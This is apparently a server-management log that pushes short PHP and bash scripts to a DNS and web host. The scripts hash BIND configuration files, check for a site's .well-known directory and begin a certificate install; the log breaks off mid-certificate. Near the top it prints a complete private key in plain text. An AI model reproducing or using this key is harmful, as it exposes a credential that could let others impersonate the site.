L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 18:11:22: Establishing a connection
2026-01-03 18:13:30: Establishing a connection
2026-01-03 18:13:30: 

PUT: /tmp/pkp122116

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:13:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp122116; rm /tmp/pkp122116'

2026-01-03 18:13:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:14:11: Establishing a connection
2026-01-03 18:14:12: Establishing a connection
2026-01-03 18:14:13: 

PUT: /tmp/pkp839001

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 18:14:14: 

chmod 755 /tmp/pkp839001; /tmp/pkp839001; rm /tmp/pkp839001

2026-01-03 18:14:14: 


0


2026-01-03 18:14:48: Establishing a connection
2026-01-03 18:14:49: 

PUT: /tmp/pkp723661

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
